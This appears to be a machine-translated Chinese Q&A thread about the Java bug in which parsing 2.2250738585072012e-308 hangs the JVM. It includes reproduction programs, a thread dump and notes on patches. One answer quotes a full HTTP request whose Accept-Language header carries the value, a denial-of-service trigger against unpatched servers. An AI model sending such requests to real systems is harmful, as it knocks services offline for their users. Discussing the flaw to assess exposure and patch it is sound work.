有一种简单的方法可以完全锁定很多JVM:
class runhang {
public static void main(String[] args) {
System.out.println("Test:");
double d = Double.parseDouble("2.2250738585072012e-308");
System.out.println("Value: " + d);
}
}
或者,挂起编译器:
class compilehang {
public static void main(String[] args) {
double d = 2.2250738585072012e-308;
System.out.println("Value: " + d);
}
}
如下所述:http://www.exploringbinary.com/java-hangs-when-converting-2-2250738585072012e-308/
我的问题非常简单:您知道哪种精心构思的Web应用程序可以实际受此影响?
换句话说:攻击者可以使用已知的弱点执行拒绝服务的哪种Web应用程序?
这很糟糕,非常糟糕。但是除了使用浮点进行货币计算的程序员之外,我没有看到很多可以崩溃的Java支持的网站。
我可以看到玩具科学小程序是候选人,但除此之外......
这是被阻止线程的一个线程(在Linux上使用“kill -3”完成):
"main" prio=1 tid=0x09ab8a10 nid=0x57e9 runnable [0xbfbde000..0xbfbde728]
at sun.misc.FDBigInt.mult(FloatingDecimal.java:2617)
at sun.misc.FloatingDecimal.multPow52(FloatingDecimal.java:158)
at sun.misc.FloatingDecimal.doubleValue(FloatingDecimal.java:1510)
at java.lang.Double.parseDouble(Double.java:482)
修改
JVM锁定在这里:
java版“1.5.0_10” Java(TM)2运行时环境,标准版(版本1.5.0_10-b03) Java HotSpot(TM)服务器VM(版本1.5.0_10-b03,混合模式)
java版“1.6.0_17” Java(TM)SE运行时环境(版本1.6.0_17-b04) Java HotSpot(TM)服务器VM(版本14.3-b01,混合模式)
答案 0 :(得分:8)
许多网络服务器使用Double.parse解析部分http标头,因此我们在此处理基础架构(除了容器中运行的应用程序的任何问题)。您链接到的Exploring Binary博客的评论如下:
GET / HTTP/1.1
Host: myhost
Connection: keep-alive
Accept-Language: en-us;q=2.2250738585072012e-308
如果请求所针对的servlet调用任何本地化API(然后尝试解析语言标题),则上述操作将使服务器关闭。
所以是的,这是一个非常大的问题。攻击面非常大,后果相当高。
答案 1 :(得分:7)
讨厌陈述显而易见的,但是所有允许用户提交字符串“2.2250738585072011e-308”的应用程序,并且调用解析双精度可以“实际”受到影响。
答案 2 :(得分:4)
所有版本的Tomcat都已经过修补和发布,以处理“Accept-Language”条件。
Oracle发布了一个热门修复程序,可以在这里找到:
http://www.oracle.com/technetwork/java/javase/fpupdater-tool-readme-305936.html
此修补程序适用于java 1.4,1.5和1.6。
答案 3 :(得分:1)
任何让用户输入浮点数并对其进行比较或计算的内容都应该是可疑的。我会说付款表格,贷款计算器和投标表格是最常见的。只需在整个应用程序中使用一个小计算器实用程序即可通过重复命中来挂起Web服务器。
答案 4 :(得分:0)
据我所知,这个数字只是一系列数字中的一个会导致应用程序崩溃,但是无法抗拒评论,请查看最后4位数字。 2012年,它代表了数量,古代预测的世界末日,我们的现代应用程序指向崩溃的门槛,除非修复: - )